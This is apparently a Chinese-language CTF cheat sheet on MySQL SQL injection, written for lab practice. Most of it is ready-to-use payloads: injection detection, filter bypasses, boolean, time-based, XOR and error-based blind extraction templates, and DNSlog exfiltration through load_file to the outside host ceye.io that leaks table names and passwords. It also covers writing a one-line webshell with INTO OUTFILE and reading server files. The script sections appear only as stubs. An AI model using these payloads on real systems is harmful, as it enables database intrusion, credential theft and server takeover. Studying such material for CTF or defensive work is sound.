前言
本篇文章专门用于记录做SQL注入类题目的做题姿势,会不断更新。
判断注入常用的的方式
1 | ' // 报错有可能存在注入 |
延时注入检测payload
1 | admin' AND (SELECT 4792 FROM (SELECT(SLEEP(5)))Nttm) AND 'fJzs'='fJzs |
1 | 1 and (select 6583 from (select(sleep(5)))SjTQ) |
过滤绕过
等于号被过滤
1 | and=`&&` or=`||` xor=`|` not=`!` |
1 | $sql = select * from user where id=1; |
逗号绕过
1 | select substr(database() from 1 for 1); |
空格被过滤,替代方法
1 | %09 TAB键(水平) |
可用注释符
1 | --+ |
使用等价函数绕过关键字被过滤
1 | 编码 |
1 | hex()、bin() ==> ascii() |
ord 被过滤
ascii
preg_match 绕过
数组绕过
绕过addslashes转义
宽字节注入
1 | %DF' union select 1,2,3 -- - |
information_schemab.tables 被过滤
替代表
1 | mysql.innodb_table_stats |
注意:MySQL5.6以上才有 sys 库
1 | sys.x$schema_table_statistics(只能查表名,查不到列名) |
1 | sys.schema_auto_increment_columns(可获取表名和库名) |
1 | sys.schema_table_statistics_with_buffer(可获取表名) |
注入语法
sqllit注入
1 |
|
异或注入语法
判断
1 | 1^1^1 // 1 |
猜测表名
1 | 1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)^1 |
猜测列名
1 | 1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='表名')),1,1))>0)^1 |
猜测值
1 | 1^(ord(substr((select(group_concat(列名))from(表名)),1,1))>0)^1 |
报错注入语法
1 | and extractvalue(1, concat(0x7e, (语句))) |
1 | and updatexml(1, concat(0x7e, (语句), 0x7e), 1) |
0x7e可代替的字符有:’~’ ‘$’
updatexml的concat可以代替的函数有:make_set
update报错注入
1 | select group_concat(password) from (select * from users)b |
表名可控注入
1 | control=users where updatexml(1,concat(0x5e24,(user()),0x5e24),1) --+&id=1 |
布尔盲注语法
猜数据库名长度
1 | and (length(database())=%d --+ |
猜数据库名
1 | and (ord(mid(database(),%d,1))='%s') --+ |
猜数据库中所有表数量
1 | and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+ |
猜数据库中单个表长度
1 | and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+ |
猜数据库单个表名
1 | and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+ |
猜表中字段数量
1 | and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+ |
猜表中单个字段长度
1 | and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d ,1)=%d --+ |
猜表中单个字段名
1 | and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+ |
猜表中字段名的字段值数量
1 | and (select count(%s) from %s )=%d --+ |
猜表中字段名的字段值长度
1 | and (select length(%s) from %s limit %d,1)=%d --+ |
猜表中字段名的字段值
1 | and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+ |
时间盲注语法
1 | and if(条件语句, sleep(3), 1) |
时间盲注函数
sleep()
benchmark()
时间盲注&dnslog的利用
使用DnsLog盲注仅限于windos环境
查数据库
1 | SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc'))) |
1 | http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+ |
查表名
1 | http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ |
查字段
1 | ' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ |
查数据
1 | ' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ |
注意:因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
1 | ' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ |
参考:https://www.cnblogs.com/xhds/p/12322839.html
dns平台:http://ceye.io/records/dns
无列名注入(只知道表名的情况下查询数据)
子查询绕过
1 | (select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名 |
1 | ((select c from (select 1,2,3 as c union select * from users)b)) 1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量 |
join爆破列名
1 | ?id=-1' union all select * from (select * from users as a join users as b)as c--+//as主要作用是起别名,就是把users表当做a表,常规来说as可以省略 |
1 | ?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+ |
逐字符检索数据
这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password
1 | mysql> select (select 1,'c') > (select * from users limit 0,1); |
regexp注入
order by 盲注
查看表内容未完全显示的方法
not in 排除的方式显示
1 | table_name='users' and table_schema=database() and column_name not in ("username"))))#&passwd=12 |
left right 截断的方式显示
1 | select(group_concat(left(password,25))) |
正则直接匹配
1 | test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)# |
reserver逆序输出
1 | test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)# |
字符串截取函数
1 | left(str,index) 从左边第index开始截取 |
####
sql注入getshell
写入一句话
1 | union select 1,2,'一句话木马' into outfile "绝对路径" |
1 | union select 1,@@basedir,@@datadir 查看网站路径 |
读取文件
1 | union/**/select 1,load_file("/var/www/html/flag.php"),3,4 %23 |
特殊知识点的解决方法
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){ |
1 | username=admin' union select 1,md5(123)#&password=123 |
二次注入的payload
[网鼎杯2018]Unfinish
1 | 0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0 |
脚本
异或盲注脚本
1 | import requests |
[网鼎杯2018]Unfinish 拿flag脚本
1 | import requests |
自己写的脚本(用于dvwa和sqllib靶场)
布尔盲注
1 | import requests |
时间盲注
1 | import requests |